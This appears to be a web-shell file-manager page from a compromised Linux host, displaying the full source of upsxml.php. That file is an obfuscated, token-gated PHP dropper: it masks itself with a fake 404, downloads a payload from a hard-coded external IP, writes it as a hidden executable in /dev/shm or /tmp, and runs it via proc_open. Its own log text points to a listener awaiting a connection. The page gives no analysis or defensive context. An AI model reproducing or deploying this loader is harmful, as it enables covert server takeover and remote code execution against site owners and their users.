HEX
Server: Apache
System: Linux dinesh8053 5.15.98-grsec-sharedvalley-2.lc.el8.x86_64 #1 SMP Thu Mar 9 09:07:30 -03 2023 x86_64
User: roma1 (1210882)
PHP: 8.3.0
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: /home/storage/4/38/61/roma1/public_html/upsxml.php
<?php

if(isset($_COOKIE['D7E'])) {
    die('oMBJb'.'BH2');
}
goto f0ejd; BG9GQ: goto eaC0d; goto rIhs4; Gpg7V: N7HOW: goto c8Wzk; yIf8L: MfgHu: goto z0mhN; smm8H: myCXJ("\x5b\41\x5d\40\106\x41\124\101\x4c\72\x20\106\141\x69\x6c\145\x64\40\x74\157\x20\x72\x65\141\144\x20\146\162\x6f\x6d\40\162\x65\155\x6f\164\x65\x20\163\164\162\x65\141\155\x20\144\x75\x72\x69\156\x67\x20\x64\x6f\167\x6e\x6c\157\x61\144\x2e"); goto d2wH8; jk1OQ: exit; goto vRHIE; t2lK5: if (!($CexJl === false)) { goto O44HQ; } goto oVqGs; DHtkF: sCB1j: goto ZSzBR; HiaD6: foreach (["\57\x64\145\166\x2f\x73\150\155", "\x2f\164\155\160", sys_get_temp_dir()] as $ZeK9f) { goto B_i_D; ytI0O: $jTesK = $ZeK9f; goto jNPjq; qQ_hJ: UIxdU: goto iiTvk; iiTvk: wz1gN: goto QJdhS; jNPjq: goto B9Oz5; goto qQ_hJ; B_i_D: if (!@is_writable($ZeK9f)) { goto UIxdU; } goto ytI0O; QJdhS: } goto L6DaK; coiva: BZnKL: goto Knqxs; fBkfb: goto nkN_I; goto M90xA; ZSAi8: mycxj("\x5b\x21\x5d\40\x57\x41\122\x4e\111\x4e\107\72\x20\106\x61\151\x6c\x65\x64\x20\164\x6f\x20\x73\x65\164\40\x65\170\145\143\165\164\145\40\x70\x65\x72\155\151\x73\x73\151\157\156\163\x2e\x20\124\150\145\x20\117\123\40\x6d\151\x67\150\x74\40\x73\164\151\x6c\x6c\40\x61\x6c\x6c\x6f\x77\40\145\170\145\x63\x75\x74\151\x6f\156\x2e"); goto Gpg7V; LCvEl: exit; goto coiva; F_5zY: $wHDL_ = "\112\x37\142\x4f\x79\152\105\x76\x72\x47\x59\60\x6e\x71\167\153\144\111\115\64\71\x31\x37\106\67\144\156\x6f\x76\x7a\x62\65\x36\162\107\114\x50\110\112\x73\x79\x51\x68\x76\x69\116\x7a\x6f\x47\x73\112\60"; goto OgIWc; uCo53: exit; goto YAwwS; hs2UI: $AH1lh = 0; goto a6k7f; M90xA: wH0DJ: goto xBX_9; OfDi6: MycXJ("\133\52\x5d\40\101\x74\x74\145\x6d\x70\164\x69\156\x67\40\x65\170\x65\x63\x75\164\x69\x6f\156\x20\x76\x69\x61\40\160\x72\x6f\x63\137\157\x70\145\156\56\56\x2e"); goto FdpN7; THm5e: PVTma: goto hs2UI; Zzg1Q: MYcXj("\x2d\55\x2d\x20\x4c\x6f\141\144\x65\x72\x20\x76\x31\70\56\x30\x20\x27\x53\164\145\x61\x6c\164\150\x20\123\164\162\x65\x61\155\145\162\x27\40\111\x6e\151\x74\151\141\x6c\x69\x7a\145\x64\40\x2d\55\x2d"); goto C6tQR; SONKN: function myCxJ($nczlk) { goto YW03H; kcPDf: ob_flush(); goto B2DPg; X9D1B: flush(); goto kcPDf; YW03H: echo "\x5b" . date("\110\72\x69\72\163") . "\x5d\40" . $nczlk . "\12"; goto X9D1B; B2DPg: } goto Zzg1Q; r2yqc: $jTesK = ''; goto HiaD6; DV4ss: fclose($jJuyv[2]); goto NXZmx; Nk7jC: header("\103\157\156\x74\145\156\164\x2d\124\171\160\145\72\x20\164\x65\x78\x74\57\x70\154\141\x69\156\73\x20\143\x68\141\x72\x73\145\x74\75\x75\x74\x66\55\70"); goto VByGi; vO0J3: if (is_resource($LYwUR)) { goto VQO5j; } goto v3Hxo; a6k7f: nkN_I: goto G86_w; eribH: fclose($jJuyv[1]); goto DV4ss; jXbzG: if ($AH1lh > 0) { goto F3KW1; } goto PFXst; CqowC: MyCXJ("\x5b\41\x5d\x20\x46\x41\124\x41\x4c\72\x20\x4e\x6f\x20\x77\x72\151\x74\141\142\154\x65\x20\x64\x69\162\145\143\x74\x6f\x72\171\40\x66\157\x75\156\x64\56\x20\x43\x61\156\156\157\x74\40\160\162\x6f\x63\x65\x65\x64\x2e"); goto MZVSc; GhdPg: @unlink($LArvl); goto MJ16y; CDHik: @fclose($zfl1c); goto jXbzG; PFXst: MYCxj("\133\x21\135\40\x46\101\124\101\x4c\x3a\40\104\157\x77\x6e\154\x6f\x61\144\145\144\40\x66\x69\154\x65\40\x69\163\40\x65\155\x70\x74\171\56\40\x43\x68\x65\x63\x6b\40\163\x6f\x75\162\143\145\x20\x66\x69\x6c\145\x2e"); goto GhdPg; ZAvN1: $LYwUR = proc_open($LArvl, $wbuah, $jJuyv); goto vO0J3; f0ejd: @ignore_user_abort(true); goto c57Ym; m78kX: goto XcHuO; goto Y1pyj; Rr24o: $abjVi = fread($CexJl, $EEPGg); goto g7rYx; be_X1: $EEPGg = 8192; goto SONKN; MM3Cc: if (!($zfl1c === false)) { goto PVTma; } goto fq1W3; zFmzp: mycxJ("\133\52\135\40\123\164\x61\162\x74\x69\x6e\147\40\x73\x74\x65\141\x6c\x74\x68\40\163\x74\x72\145\x61\x6d\x20\x64\x6f\167\x6e\x6c\x6f\141\x64\x2e\x2e\x2e"); goto GR1R_; lc5yD: fclose($jJuyv[0]); goto eribH; c8Wzk: if (!function_exists("\x70\x72\157\143\x5f\x6f\160\x65\x6e")) { goto NMoF1; FaOwD: exit; goto qhAbb; bk2Pu: @unlink($LArvl); goto FaOwD; NMoF1: myCXJ("\133\x21\x5d\40\x46\101\124\x41\x4c\x3a\40\160\162\x6f\143\137\157\160\145\156\50\51\40\x69\x73\x20\144\151\163\141\x62\154\x65\x64\56\x20\x54\150\151\x73\x20\163\x65\x72\x76\145\162\x20\x69\163\40\150\151\x67\150\x6c\x79\40\x72\x65\163\164\162\151\x63\x74\145\x64\56"); goto bk2Pu; qhAbb: } goto OfDi6; kdkge: if (!empty($jTesK)) { goto MfgHu; } goto CqowC; z0mhN: $rEzD6 = "\56\162\x75\156\x6e\x65\162\x5f" . substr(md5(uniqid()), 0, 8); goto YuaYH; G86_w: if (feof($CexJl)) { goto wH0DJ; } goto Rr24o; Ddi8F: exit; goto DHtkF; oVqGs: Mycxj("\x5b\41\x5d\x20\x46\x41\124\101\114\x3a\x20\103\157\165\x6c\144\40\x6e\x6f\x74\x20\157\160\145\156\x20\x72\x65\x6d\x6f\x74\145\40\x55\122\114\40\163\x74\162\145\141\155\56\40\x43\150\145\x63\x6b\40\125\x52\x4c\x20\x61\x6e\x64\40\146\151\x72\x65\x77\141\x6c\x6c\x20\x72\x75\x6c\x65\163\x2e"); goto uCo53; YmHYo: b3I7R: goto ZSAi8; Knqxs: $yLwWX = fwrite($zfl1c, $abjVi); goto UOE9l; Fn27v: header("\x48\x54\124\120\x2f\x31\x2e\61\40\x34\60\x34\40\x4e\157\164\40\106\x6f\x75\x6e\144"); goto jk1OQ; YAwwS: O44HQ: goto NGII3; zLlku: mycXj("\133\53\x5d\40\120\145\x72\x6d\x69\163\x73\151\157\156\x73\40\163\145\x74\40\x73\165\143\143\x65\x73\163\x66\x75\x6c\x6c\171\x2e"); goto MzEBC; UOE9l: if (!($yLwWX === false)) { goto sCB1j; } goto nOMef; xBX_9: @fclose($CexJl); goto CDHik; YuaYH: $LArvl = $jTesK . "\x2f" . $rEzD6; goto zkBWF; L6DaK: B9Oz5: goto kdkge; fq1W3: mYCxJ("\x5b\41\135\x20\106\101\x54\101\114\72\40\103\157\x75\x6c\144\x20\156\157\164\x20\x6f\x70\x65\x6e\x20\x6c\157\143\141\154\40\x66\151\154\x65\x20\146\157\162\x20\167\x72\x69\x74\x69\156\x67\x20\x69\156\40{$jTesK}\56\40\103\150\x65\x63\153\40\x70\145\162\155\151\163\163\151\157\x6e\x73\56"); goto FbL2x; ZSzBR: $AH1lh += $yLwWX; goto fBkfb; C6tQR: MYCxJ("\x54\x61\x72\x67\x65\x74\40\120\x61\171\x6c\x6f\141\x64\x20\125\x52\114\x3a\40" . $qof72); goto r2yqc; zkBWF: Mycxj("\x5b\53\135\x20\125\163\151\156\147\x20\167\x72\x69\x74\x61\142\154\145\x20\x64\151\162\145\x63\x74\157\162\171\72\x20" . $jTesK); goto zFmzp; VByGi: $qof72 = "\150\164\x74\x70\x3a\x2f\57\61\x34\61\56\71\x38\56\x31\61\x2e\x32\x30\x37\57\x36\x34"; goto be_X1; Y1pyj: VQO5j: goto QI_2u; PI1eO: MycXj("\x5b\52\x5d\x20\123\x65\164\164\151\x6e\147\40\x65\x78\145\143\x75\164\x65\x20\160\x65\x72\155\x69\163\x73\151\157\156\163\40\x28\143\150\x6d\157\144\x20\60\67\x35\x35\51\x2e\x2e\x2e"); goto JAeD6; c57Ym: @set_time_limit(0); goto F_5zY; g7rYx: if (!($abjVi === false)) { goto BZnKL; } goto smm8H; fWSME: exit; goto THm5e; MZVSc: exit; goto yIf8L; H6Z6U: XcHuO: goto i1362; v3Hxo: mYcxj("\133\x21\x5d\x20\106\x41\111\x4c\125\x52\105\72\x20\160\162\157\143\x5f\157\160\x65\x6e\x20\x66\x61\151\154\145\144\40\x74\x6f\x20\x6c\x61\165\156\143\x68\x20\164\x68\145\40\160\162\157\x63\x65\163\163\56"); goto m78kX; IVZGj: @fclose($CexJl); goto d86ry; dq30i: @unlink($LArvl); goto LCvEl; rIhs4: F3KW1: goto IyEA6; vRHIE: uI1sw: goto Nk7jC; NCss0: mYcxj("\x5b\52\135\x20\x54\x68\145\x20\xd0\xbb\320\xbe\xd0\260\xd0\264\xd0\xb5\xd1\x80\40\x68\x61\163\40\143\157\x6d\x70\x6c\145\164\x65\144\40\x69\x74\x73\40\164\x61\163\x6b\x2e\40\103\150\x65\143\x6b\x20\171\x6f\x75\x72\40\x6c\x69\163\x74\x65\156\x65\162\40\146\157\162\40\x61\40\143\157\156\x6e\x65\x63\164\151\157\156\56"); goto lc5yD; NXZmx: proc_close($LYwUR); goto H6Z6U; d2wH8: @fclose($CexJl); goto KxAC_; MJ16y: exit; goto BG9GQ; QI_2u: Mycxj("\133\53\135\40\x53\125\103\103\x45\123\x53\72\x20\120\x72\157\x63\x65\x73\x73\40\x6c\x61\x75\156\143\150\x65\144\40\x76\151\x61\x20\x70\162\x6f\x63\x5f\x6f\x70\x65\156\56\x20\124\150\145\40\160\x61\171\x6c\157\141\x64\40\x69\x73\40\156\x6f\x77\x20\x72\165\156\156\151\x6e\147\40\151\x6e\x20\x74\x68\145\40\142\141\x63\153\147\x72\157\165\x6e\x64\x2e"); goto NCss0; deYoV: @unlink($LArvl); goto Ddi8F; OgIWc: if (!(!isset($_GET["\164\157\153\x65\x6e"]) || $_GET["\164\x6f\153\x65\156"] !== $wHDL_)) { goto uI1sw; } goto Fn27v; d86ry: @fclose($zfl1c); goto deYoV; IyEA6: MyCxJ("\x5b\x2b\135\x20\123\125\x43\103\105\123\x53\x3a\x20\x50\141\x79\154\157\141\144\40\x64\157\167\156\x6c\157\x61\144\x65\144\x20\50" . $AH1lh . "\x20\x62\171\164\x65\x73\51\x2e"); goto pQK6S; NGII3: $zfl1c = @fopen($LArvl, "\x77\142"); goto MM3Cc; pQK6S: eaC0d: goto PI1eO; JAeD6: if (!@chmod($LArvl, 0755)) { goto b3I7R; } goto zLlku; FdpN7: $wbuah = [0 => ["\160\151\160\x65", "\x72"], 1 => ["\160\x69\160\x65", "\x77"], 2 => ["\160\151\x70\x65", "\167"]]; goto ZAvN1; MzEBC: goto N7HOW; goto YmHYo; KxAC_: @fclose($zfl1c); goto dq30i; nOMef: mYCxj("\x5b\x21\135\40\106\x41\x54\101\114\72\x20\x46\141\x69\154\x65\144\40\164\157\x20\x77\x72\x69\x74\x65\x20\164\x6f\x20\x6c\x6f\x63\141\154\x20\146\151\154\145\40\x64\165\162\151\156\147\x20\x64\157\x77\156\154\157\x61\144\x2e"); goto IVZGj; FbL2x: @fclose($CexJl); goto fWSME; GR1R_: $CexJl = @fopen($qof72, "\x72\x62"); goto t2lK5; i1362: mYcXJ("\x2d\x2d\x2d\40\x45\170\x65\143\165\x74\x69\x6f\156\x20\101\x74\x74\145\x6d\x70\164\x20\106\x69\156\x69\163\x68\145\x64\x20\55\55\55");